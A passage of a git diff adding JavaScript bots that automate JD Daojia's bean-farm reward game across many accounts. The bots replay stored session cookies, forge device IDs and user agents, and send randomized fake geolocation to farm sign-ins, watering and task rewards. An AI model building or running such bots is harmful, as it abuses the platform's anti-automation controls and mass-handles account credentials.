(o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ + +/*********************************** SHA256 *************************************/ +var hexcase = 0; var b64pad = ""; function hex_sha256(s) { return rstr2hex(rstr_sha256(str2rstr_utf8(s))) } function b64_sha256(s) { return rstr2b64(rstr_sha256(str2rstr_utf8(s))) } function any_sha256(s, e) { return rstr2any(rstr_sha256(str2rstr_utf8(s)), e) } function hex_hmac_sha256(k, d) { return rstr2hex(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d))) } function b64_hmac_sha256(k, d) { return rstr2b64(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d))) } function any_hmac_sha256(k, d, e) { return rstr2any(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d)), e) } function sha256_vm_test() { return hex_sha256("abc").toLowerCase() == "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad" } function rstr_sha256(s) { return binb2rstr(binb_sha256(rstr2binb(s), s.length * 8)) } function rstr_hmac_sha256(key, data) { var bkey = rstr2binb(key); if (bkey.length > 16) bkey = binb_sha256(bkey, key.length * 8); var ipad = Array(16), opad = Array(16); for (var i = 0; i < 16; i++) { ipad[i] = bkey[i] ^ 0x36363636; opad[i] = bkey[i] ^ 0x5C5C5C5C } var hash = binb_sha256(ipad.concat(rstr2binb(data)), 512 + data.length * 8); return binb2rstr(binb_sha256(opad.concat(hash), 512 + 256)) } function rstr2hex(input) { try { hexcase } catch (e) { hexcase = 0 } var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; var output = ""; var x; for (var i = 0; i < input.length; i++) { x = input.charCodeAt(i); output += hex_tab.charAt((x >>> 4) & 0x0F) + hex_tab.charAt(x & 0x0F) } return output } function rstr2b64(input) { try { b64pad } catch (e) { b64pad = '' } var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var output = ""; var len = input.length; for (var i = 0; i < len; i += 3) { var triplet = (input.charCodeAt(i) << 16) | (i + 1 < len ? input.charCodeAt(i + 1) << 8 : 0) | (i + 2 < len ? input.charCodeAt(i + 2) : 0); for (var j = 0; j < 4; j++) { if (i * 8 + j * 6 > input.length * 8) output += b64pad; else output += tab.charAt((triplet >>> 6 * (3 - j)) & 0x3F) } } return output } function rstr2any(input, encoding) { var divisor = encoding.length; var remainders = Array(); var i, q, x, quotient; var dividend = Array(Math.ceil(input.length / 2)); for (i = 0; i < dividend.length; i++) { dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1) } while (dividend.length > 0) { quotient = Array(); x = 0; for (i = 0; i < dividend.length; i++) { x = (x << 16) + dividend[i]; q = Math.floor(x / divisor); x -= q * divisor; if (quotient.length > 0 || q > 0) quotient[quotient.length] = q } remainders[remainders.length] = x; dividend = quotient } var output = ""; for (i = remainders.length - 1; i >= 0; i--)output += encoding.charAt(remainders[i]); var full_length = Math.ceil(input.length * 8 / (Math.log(encoding.length) / Math.log(2))); for (i = output.length; i < full_length; i++)output = encoding[0] + output; return output } function str2rstr_utf8(input) { var output = ""; var i = -1; var x, y; while (++i < input.length) { x = input.charCodeAt(i); y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0; if (0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF) { x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF); i++ } if (x <= 0x7F) output += String.fromCharCode(x); else if (x <= 0x7FF) output += String.fromCharCode(0xC0 | ((x >>> 6) & 0x1F), 0x80 | (x & 0x3F)); else if (x <= 0xFFFF) output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F), 0x80 | ((x >>> 6) & 0x3F), 0x80 | (x & 0x3F)); else if (x <= 0x1FFFFF) output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07), 0x80 | ((x >>> 12) & 0x3F), 0x80 | ((x >>> 6) & 0x3F), 0x80 | (x & 0x3F)) } return output } function str2rstr_utf16le(input) { var output = ""; for (var i = 0; i < input.length; i++)output += String.fromCharCode(input.charCodeAt(i) & 0xFF, (input.charCodeAt(i) >>> 8) & 0xFF); return output } function str2rstr_utf16be(input) { var output = ""; for (var i = 0; i < input.length; i++)output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF, input.charCodeAt(i) & 0xFF); return output } function rstr2binb(input) { var output = Array(input.length >> 2); for (var i = 0; i < output.length; i++)output[i] = 0; for (var i = 0; i < input.length * 8; i += 8)output[i >> 5] |= (input.charCodeAt(i / 8) & 0xFF) << (24 - i % 32); return output } function binb2rstr(input) { var output = ""; for (var i = 0; i < input.length * 32; i += 8)output += String.fromCharCode((input[i >> 5] >>> (24 - i % 32)) & 0xFF); return output } function sha256_S(X, n) { return (X >>> n) | (X << (32 - n)) } function sha256_R(X, n) { return (X >>> n) } function sha256_Ch(x, y, z) { return ((x & y) ^ ((~x) & z)) } function sha256_Maj(x, y, z) { return ((x & y) ^ (x & z) ^ (y & z)) } function sha256_Sigma0256(x) { return (sha256_S(x, 2) ^ sha256_S(x, 13) ^ sha256_S(x, 22)) } function sha256_Sigma1256(x) { return (sha256_S(x, 6) ^ sha256_S(x, 11) ^ sha256_S(x, 25)) } function sha256_Gamma0256(x) { return (sha256_S(x, 7) ^ sha256_S(x, 18) ^ sha256_R(x, 3)) } function sha256_Gamma1256(x) { return (sha256_S(x, 17) ^ sha256_S(x, 19) ^ sha256_R(x, 10)) } function sha256_Sigma0512(x) { return (sha256_S(x, 28) ^ sha256_S(x, 34) ^ sha256_S(x, 39)) } function sha256_Sigma1512(x) { return (sha256_S(x, 14) ^ sha256_S(x, 18) ^ sha256_S(x, 41)) } function sha256_Gamma0512(x) { return (sha256_S(x, 1) ^ sha256_S(x, 8) ^ sha256_R(x, 7)) } function sha256_Gamma1512(x) { return (sha256_S(x, 19) ^ sha256_S(x, 61) ^ sha256_R(x, 6)) } var sha256_K = new Array(1116352408, 1899447441, -1245643825, -373957723, 961987163, 1508970993, -1841331548, -1424204075, -670586216, 310598401, 607225278, 1426881987, 1925078388, -2132889090, -1680079193, -1046744716, -459576895, -272742522, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, -1740746414, -1473132947, -1341970488, -1084653625, -958395405, -710438585, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, -2117940946, -1838011259, -1564481375, -1474664885, -1035236496, -949202525, -778901479, -694614492, -200395387, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, -2067236844, -1933114872, -1866530822, -1538233109, -1090935817, -965641998); function binb_sha256(m, l) { var HASH = new Array(1779033703, -1150833019, 1013904242, -1521486534, 1359893119, -1694144372, 528734635, 1541459225); var W = new Array(64); var a, b, c, d, e, f, g, h; var i, j, T1, T2; m[l >> 5] |= 0x80 << (24 - l % 32); m[((l + 64 >> 9) << 4) + 15] = l; for (i = 0; i < m.length; i += 16) { a = HASH[0]; b = HASH[1]; c = HASH[2]; d = HASH[3]; e = HASH[4]; f = HASH[5]; g = HASH[6]; h = HASH[7]; for (j = 0; j < 64; j++) { if (j < 16) W[j] = m[j + i]; else W[j] = safe_add(safe_add(safe_add(sha256_Gamma1256(W[j - 2]), W[j - 7]), sha256_Gamma0256(W[j - 15])), W[j - 16]); T1 = safe_add(safe_add(safe_add(safe_add(h, sha256_Sigma1256(e)), sha256_Ch(e, f, g)), sha256_K[j]), W[j]); T2 = safe_add(sha256_Sigma0256(a), sha256_Maj(a, b, c)); h = g; g = f; f = e; e = safe_add(d, T1); d = c; c = b; b = a; a = safe_add(T1, T2) } HASH[0] = safe_add(a, HASH[0]); HASH[1] = safe_add(b, HASH[1]); HASH[2] = safe_add(c, HASH[2]); HASH[3] = safe_add(d, HASH[3]); HASH[4] = safe_add(e, HASH[4]); HASH[5] = safe_add(f, HASH[5]); HASH[6] = safe_add(g, HASH[6]); HASH[7] = safe_add(h, HASH[7]) } return HASH } function safe_add(x, y) { var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF) } +/*********************************** SHA256 *************************************/ diff --git a/Scripts/jingdong/jddj_plantBeans.js b/Scripts/jingdong/jddj_plantBeans.js new file mode 100644 index 00000000..d36e9572 --- /dev/null +++ b/Scripts/jingdong/jddj_plantBeans.js @@ -0,0 +1,353 @@ +/* +京东到家鲜豆庄园脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 + +[task_local] +10 8 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_plantBeans.js + +[Script] +cron "10 8 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_plantBeans.js,tag=京东到家鲜豆庄园 + +*/ + +const $ = new API("jddj_plantBeans"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH + +let cookies = []; +let thiscookie = '', deviceid = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie) continue; + + deviceid = _uuid(); + let option = taskLoginUrl(deviceid, thiscookie); + await $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + thiscookie = 'deviceid_pdj_jd=' + deviceid + '; PDJ_H5_PIN=' + data.result.PDJ_H5_PIN + '; o2o_m_h5_sid=' + data.result.o2o_m_h5_sid + ';'; + //sid = data.result.o2o_m_h5_sid; + } + else thiscookie = 'aabbcc'; + }); + + await userinfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action\n抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await sign(); + await $.wait(1000); + + await beansLottery(); + await $.wait(1000); + + await getPoints(); + await $.wait(1000); + + await runTask(tslist); + await $.wait(1000); + + await watering(); + await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10003%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + var data = JSON.parse(response.body); + //console.log(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【任务列表】:' + error); + resolve({}); + } + }) +} + +//庄园签到 +async function sign() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=signin%2FuserSigninNew&isNeedDealError=true&body=%7B%22channel%22%3A%22qiandao_indexball%22%2C%22cityId%22%3A' + cityid + '%2C%22longitude%22%3A' + lng + '%2C%22latitude%22%3A' + lat + '%2C%22ifCic%22%3A0%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【庄园签到】:' + data.msg); + resolve(); + }) + + } catch (error) { + console.log('\n【庄园签到】:' + error); + resolve(); + } + }) +} + +//浇水 +async function watering() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%2223e4a58bca00bef%22%2C%22waterAmount%22%3A100%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + await $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) +} + +//一轮结束领鲜豆并参加下一轮 +async function getPoints() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&_funid_=plantBeans/getActivityInfo', 'functionId=plantBeans%2FgetActivityInfo&isNeedDealError=true&method=POST&body=%7B%7D&lat=' + lat + '&lng=' + lat + '&lat_pos=' + lat + '&lng_pos=' + lat + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + + let perid = '', nextid = ''; activityDay = '', pre_buttonId = 0; + await $.http.post(option).then(response => { + //console.log(response.body); + let data = JSON.parse(response.body); + perid = data.result.pre.activityId; + if (data.result.next) nextid = data.result.next.activityId; + activityDay = data.result.cur.activityDay; + pre_buttonId = data.result.pre.buttonId; + }) + + await $.wait(1000); + + //var date = new Date(); + //activityDay = activityDay.split('-')[1].split('.')[1]; + if (pre_buttonId == 1) { + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2FgetPoints&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22' + perid + '%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + await $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【一轮结束领鲜豆】:' + data.msg); + }) + + await $.wait(1000); + + // option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2FgetActivityInfo&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22' + nextid + '%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + // await $.http.post(option).then(response => { + // let data = JSON.parse(response.body); + // console.log('\n【参加下一轮种鲜豆】:' + data.msg); + // }) + } + + } catch (error) { + console.log('\n【一轮结束领鲜豆】:' + error); + resolve(); + } finally { + resolve(); + } + + }) + +} + +//发现露水 +async function beansLottery() { + return new Promise(async resolve => { + try { + for (let index = 0; index < 20; index++) { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&_funid_=plantBeans/beansLottery', 'functionId=plantBeans%2FbeansLottery&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22241254dc8b9ae89%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + await $.http.post(option).then(response => { + let data = JSON.parse(response.body); + if (!!data.result.water) console.log('\n【发现露水】:' + data.result.water + 'g'); + else console.log('\n【发现露水】:' + data.result.text.replace(/\n/g, '')); + }); + await $.wait(1000); + } + resolve(); + + } catch (error) { + console.log('\n【发现露水】:' + error); + resolve(); + } + }) +} + +async function runTask(tslist) { + return new Promise(async resolve => { + try { + for (let index = 0; index < tslist.result.taskInfoList.length; index++) { + const item = tslist.result.taskInfoList[index]; + + //领取任务 + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Freceived&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取任务【' + item.taskName + '】:' + msg); + }) + + if (item.browseTime > -1) { + for (let t = 0; t < parseInt(item.browseTime); t++) { + await $.wait(1000); + console.log('计时:' + (t + 1) + '秒...'); + } + } + + //结束任务 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Ffinished&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n任务完成【' + item.taskName + '】:' + msg); + }) + + //领取奖励 + option = urlTask('https://daojia.jd.com/client?_jdrandom=1618492672164&functionId=task%2FsendPrize&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取奖励【' + item.taskName + '】:' + msg); + }) + + + } + resolve(); + } catch (error) { + console.log('\n【执行任务】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Origin': 'https://daojia.jd.com', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148________appName=jdLocal&platform=iOS&commonParams={"sharePackageVersion":"2"}&djAppVersion=8.7.5&supportDJSHWK', + 'Accept-Language': 'zh-cn' + }, + body: body + }; + return option; +} + +function taskLoginUrl(deviceid, thiscookie) { + return { + url: 'https://daojia.jd.com/client?_jdRandom=' + (+new Date()) + '&functionId=xapp/loginByPtKeyNew&body=' + escape(JSON.stringify({ "fromSource": 5, "businessChannel": 150, "subChannel": "", "regChannel": "" })) + 'channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&code=011UYn000apwmL1nWB000aGiv74UYn03&deviceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceModel=appmodel', + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + "referer": "https://daojia.jd.com/taroh5/h5dist/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)' + } + } +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = 